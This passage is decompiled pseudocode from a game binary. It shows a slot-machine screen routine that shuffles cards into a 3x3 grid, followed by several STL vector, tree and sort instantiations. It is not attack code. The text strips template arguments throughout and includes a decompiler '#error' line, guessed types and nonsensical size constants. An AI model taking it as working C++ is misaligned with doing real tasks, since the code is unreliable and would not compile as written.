RandomBox::operator__(&rndbox, 9u); v25 = v6->smsm_LocateDeck._Myfirst; v26 = v25[v23]; v25[v23] = v25[v24]; v6->smsm_LocateDeck._Myfirst[v24] = v26; v27 = v6->smsm_CardDeckPoint + 1; v6->smsm_CardDeckPoint = v27; v28 = v6->smsm_CardDeck[0]._Myfirst; if ( !v28 || v27 >= v6->smsm_CardDeck[0]._Mylast - v28 ) { v6->smsm_CardDeckPoint = 0; SlotMachine::SlotMachineScreenManager::smsm_Shuffle(v6); } v29 = buf; v30 = (char *)&buf->screen; v31 = (int)&v6->smsm_CardDeck[1]._Myfirst; bufa = v30; *v30 = 99; v29->screen.Card[2][2] = 99; v29->screen.Card[2][1] = 99; v29->screen.Card[2][0] = 99; v29->screen.Card[1][2] = 99; v29->screen.Card[1][1] = 99; v29->screen.Card[1][0] = 99; v29->screen.Card[0][2] = 99; v29->screen.Card[0][1] = 99; v32 = 0; oncebeta = (int)&v6->smsm_CardDeck[1]._Myfirst; do { v33 = v6->smsm_LocateDeck._Myfirst[v32] / 3; v34 = v6->smsm_LocateDeck._Myfirst[v32] % 3; v32 += 3; *(&v29->screen.Card[0][2 * v33] + v33 + v34) = *(_BYTE *)(*(_DWORD *)(v31 - 16) + v6->smsm_CardDeckPoint); v35 = v6->smsm_LocateDeck._Myfirst[v32 - 2] / 3; *(&v29->screen.Card[0][2 * v35] + v35 + v6->smsm_LocateDeck._Myfirst[v32 - 2] % 3) = *(_BYTE *)(*(_DWORD *)oncebeta + v6->smsm_CardDeckPoint); v36 = v6->smsm_LocateDeck._Myfirst; v37 = (unsigned __int8)v36[v32 - 1] / 3; v38 = (unsigned __int8)v36[v32 - 1] % 3; v39 = *(_DWORD *)(oncebeta + 16); v31 = oncebeta + 48; oncebeta += 48; *(&v29->screen.Card[0][2 * v37] + v37 + v38) = *(_BYTE *)(v39 + v6->smsm_CardDeckPoint); } while ( v32 < 9 ); v40 = bufa; v41 = 3; do { v42 = 0; do { if ( (unsigned __int8)v40[v42] >= 9u ) v40[v42] = 0; ++v42; } while ( v42 < 3 ); v40 += 3; --v41; } while ( v41 ); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlotMachine::SlotMachineScreenManager::smsm_Action"); } //----- (005D36F0) -------------------------------------------------------- SlotMachine::SlotMachineScreenManager::NPCvsBetType *__thiscall std::vector>::_Ufill(std::vector > *this, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Ptr, unsigned int _Count, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005D3720) -------------------------------------------------------- void __cdecl std::sort_heap>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator i; // esi@1 for ( i = _Last; (*(_DWORD *)&i - *(_DWORD *)&_First) / 20 > 1; *(_DWORD *)&i -= 20 ) std::_Pop_heap_0>::iterator_SLOTMACHINE_JackPotRank>( _First, i, 0); } //----- (005D3770) -------------------------------------------------------- #error "5D3770: undefined or illegal type '#593' (funcsize=75)" //----- (005D3890) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned __int16 *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x7FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 14) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 14) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 14) = 1; *(_BYTE *)(v14 + 14) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 14) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005D3A40) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005D3AB0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 15) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 15) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 15) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 15) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 15) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 15) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 15) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 14); *(_BYTE *)(*(_DWORD *)&v6 + 14) = *(_BYTE *)(*(_DWORD *)&v4 + 14); *(_BYTE *)(*(_DWORD *)&v4 + 14) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 14) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 14) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 14) ) { *(_BYTE *)(v15 + 14) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 14) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 15) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 14) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 14) = 1; *(_BYTE *)(v15 + 14) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 14) = *(_BYTE *)(*(_DWORD *)&v7 + 14); *(_BYTE *)(*(_DWORD *)&v7 + 14) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 14) ) { *(_BYTE *)(v15 + 14) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 14) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 15) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 14) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 14) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 14) = 1; *(_BYTE *)(v15 + 14) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 14) = *(_BYTE *)(*(_DWORD *)&v7 + 14); *(_BYTE *)(*(_DWORD *)&v7 + 14) = 1; *(_BYTE *)(*(_DWORD *)v15 + 14) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 14) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 14) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (005D3D70) -------------------------------------------------------- void __cdecl std::_Sort>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int _Ideal) { std::vector >::iterator v3; // ebx@1 std::vector >::iterator v4; // edi@1 int v5; // eax@1 signed int v6; // esi@2 std::vector >::iterator v7; // ebp@4 std::vector >::iterator _Mid; // [sp+10h] [bp-8h]@4 std::vector >::iterator v9; // [sp+14h] [bp-4h]@4 v3 = _First; v4 = _Last; v5 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v5 <= 32 ) goto LABEL_8; v6 = _Ideal; while ( v6 > 0 ) { std::_Unguarded_partition>::iterator>( (std::pair >::iterator,std::vector >::iterator> *)&_Mid, v3, v4); v7 = v9; v6 = v6 / 2 / 2 + v6 / 2; if ( (*(_DWORD *)&_Mid - *(_DWORD *)&v3) / 20 >= (*(_DWORD *)&v4 - *(_DWORD *)&v9) / 20 ) { std::_Sort>::iterator_int>(v9, v4, v6); v4 = _Mid; } else { std::_Sort>::iterator_int>( v3, _Mid, v6); v3 = v7; } v5 = (*(_DWORD *)&v4 - *(_DWORD *)&v3) / 20; if ( v5 <= 32 ) goto LABEL_8; } if ( v5 <= 32 ) { LABEL_8: if ( v5 > 1 ) std::_Insertion_sort>::iterator>( v3, v4); } else { if ( (*(_DWORD *)&v4 - *(_DWORD *)&v3) / 20 > 1 ) std::_Make_heap>::iterator_int_SLOTMACHINE_JackPotRank>( v3, v4, 0, 0); std::sort_heap>::iterator>(v3, v4); } } //----- (005D3EA0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned __int16 *_Val) { const unsigned __int16 *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned __int16 v8; // dx@2 const unsigned __int16 *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v5 = v6; v7 = v8 < v6->_Myval; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (const unsigned __int16 *)v5; _Val = (const unsigned __int16 *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[6] >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (005D3F60) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > (unsigned int)&ddt.ddt_Table[2021][1471].direct ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(20 * _Capacity); v2->_Myend = (SLOTMACHINE_JackPotRank *)((char *)v4 + 20 * _Capacity); v2->_Myfirst = (SLOTMACHINE_JackPotRank *)v4; v2->_Mylast = (SLOTMACHINE_JackPotRank *)v4; result = 1; } else { result = 0; } return result; } //----- (005D3FB0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const char *_Val) { std::vector > *v4; // esi@1 char *v5; // eax@1 unsigned int v6; // ecx@2 unsigned int v7; // edi@4 int v8; // edx@6 int v9; // edx@11 unsigned int v10; // ecx@15 int v11; // edx@18 int v12; // ecx@22 void *v13; // eax@25 unsigned int v14; // ebx@25 int v15; // eax@25 char *v16; // eax@25 char *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 char *v20; // ebx@31 unsigned int v21; // edx@32 int v22; // eax@33 unsigned int _Capacity; // [sp+0h] [bp-4h]@15 void *_Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; LOBYTE(_Val) = *_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( -1 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = v4->_Mylast; if ( &v4->_Mylast[-*(_DWORD *)&_Where] >= (char *)_Count ) { memmove(v20, &v20[-_Count], v20 - &v20[-_Count]); v4->_Mylast = (char *)(v20 - &v20[-_Count] + v22); memmove( (char *)(v20 - (&v20[-*(_DWORD *)&_Where] - _Count)), *(char **)&_Where, (unsigned int)(&v20[-*(_DWORD *)&_Where] - _Count)); std::fill( *(char **)&_Where, (char *)(_Count + *(_DWORD *)&_Where), (const char *)&_Val); } else { memmove( (char *)(_Count + *(_DWORD *)&_Where), *(char **)&_Where, (unsigned int)&v4->_Mylast[-*(_DWORD *)&_Where]); std::vector>::_Ufill( v4, v4->_Mylast, _Count + *(_DWORD *)&_Where - (unsigned int)v4->_Mylast, (const char *)&_Val); v21 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (char *)v21; std::fill(*(char **)&_Where, (char *)(v21 - _Count), (const char *)&_Val); } } else { if ( -1 - (v6 >> 1) >= v6 ) { v10 = (v6 >> 1) + v6; _Capacity = v10; } else { _Capacity = 0; v10 = 0; } if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; _Capacity = v10; } v13 = operator new(v10); v14 = *(_DWORD *)&_Where - (unsigned int)v4->_Myfirst; _Counta = v13; memmove((char *)v13, v4->_Myfirst, v14); v16 = std::vector>::_Ufill( v4, (char *)(v14 + v15), v7, (const char *)&_Val); memmove(v16, *(char **)&_Where, (unsigned int)&v4->_Mylast[-*(_DWORD *)&_Where]); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (char *)_Counta + _Capacity; v4->_Mylast = (char *)_Counta + v19; v4->_Myfirst = (char *)_Counta; } } } //----- (005D4180) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val) { std::vector > *v4; // ebx@1 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // edi@15 int v11; // eax@18 void *v12; // eax@22 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v13; // ecx@22 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v14; // ecx@22 int v15; // eax@23 unsigned int v16; // esi@25 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v17; // edx@26 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v18; // eax@26 void *v19; // eax@29 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v20; // ecx@30 int v21; // eax@30 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v22; // ecx@31 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v23; // ST24_4@31 int v24; // eax@31 int v25; // esi@31 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v26; // eax@32 SlotMachine::SlotMachineScreenManager::NPCvsBetType *v27; // ecx@32 void *v28; // edx@32 int v29; // [sp+0h] [bp-4Ch]@1 void *_Newvec; // [sp+Ch] [bp-40h]@22 std::_Nonscalar_ptr_iterator_tag __formal[4]; // [sp+10h] [bp-3Ch]@22 SlotMachine::SlotMachineScreenManager::NPCvsBetType _Tmp; // [sp+14h] [bp-38h]@1 unsigned int v33; // [sp+38h] [bp-14h]@1 int *v34; // [sp+3Ch] [bp-10h]@1 int v35; // [sp+48h] [bp-4h]@22 int v36; // [sp+4Ch] [bp+0h]@1 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v33 = (unsigned int)&v36 ^ __security_cookie; v34 = &v29; if ( v5 ) { v7 = (signed int)((unsigned __int64)(954437177i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1308].esc_skill.buffer[-v8 + 6523] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = v4->_Mylast; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 36; *(_DWORD *)&__formal[0].dummy[0] = v4->_Mylast; if ( v21 >= _Count ) { _Newvec = &v20[-_Count]; v26 = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, __formal[0]); v27 = *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&__formal[0].dummy[0]; v28 = _Newvec; v4->_Mylast = v26; std::_Copy_backward_opt( *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&_Where, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)v28, v27, __formal[0]); std::fill( *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&_Where, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)(*(_DWORD *)&_Where + 36 * _Count), &_Tmp); } else { *(_DWORD *)&__formal[0].dummy[0] = 36 * _Count; std::_Uninit_copy>( *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&_Where, v20, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)(*(_DWORD *)&_Where + 36 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(36 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v35 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 36, &_Tmp); v24 = *(_DWORD *)&__formal[0].dummy[0]; v25 = (int)((char *)v4->_Mylast + *(_DWORD *)&__formal[0].dummy[0]); v4->_Mylast = (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)v25; std::fill( *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&_Where, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)(v25 - v24), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1308].esc_skill.buffer[-(v6 >> 1) + 6523] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = operator new(36 * v10); v13 = v4->_Myfirst; _Newvec = v12; v35 = 0; *(_DWORD *)&__formal[0].dummy[0] = std::_Uninit_copy>( v13, *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&_Where, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)v12, &v4->baseclass_0._Alval, __formal[0]); std::_Uninit_fill_n>( *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&__formal[0].dummy[0], _Count, &_Tmp, &v4->baseclass_0._Alval, __formal[0]); std::_Uninit_copy>( *(SlotMachine::SlotMachineScreenManager::NPCvsBetType **)&_Where, v4->_Mylast, (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)(*(_DWORD *)&__formal[0].dummy[0] + 36 * _Count), &v4->baseclass_0._Alval, __formal[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + _Count; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v19 = _Newvec; v4->_Myend = (SlotMachine::SlotMachineScreenManager::NPCvsBetType *)((char *)_Newvec + 36 * v10); 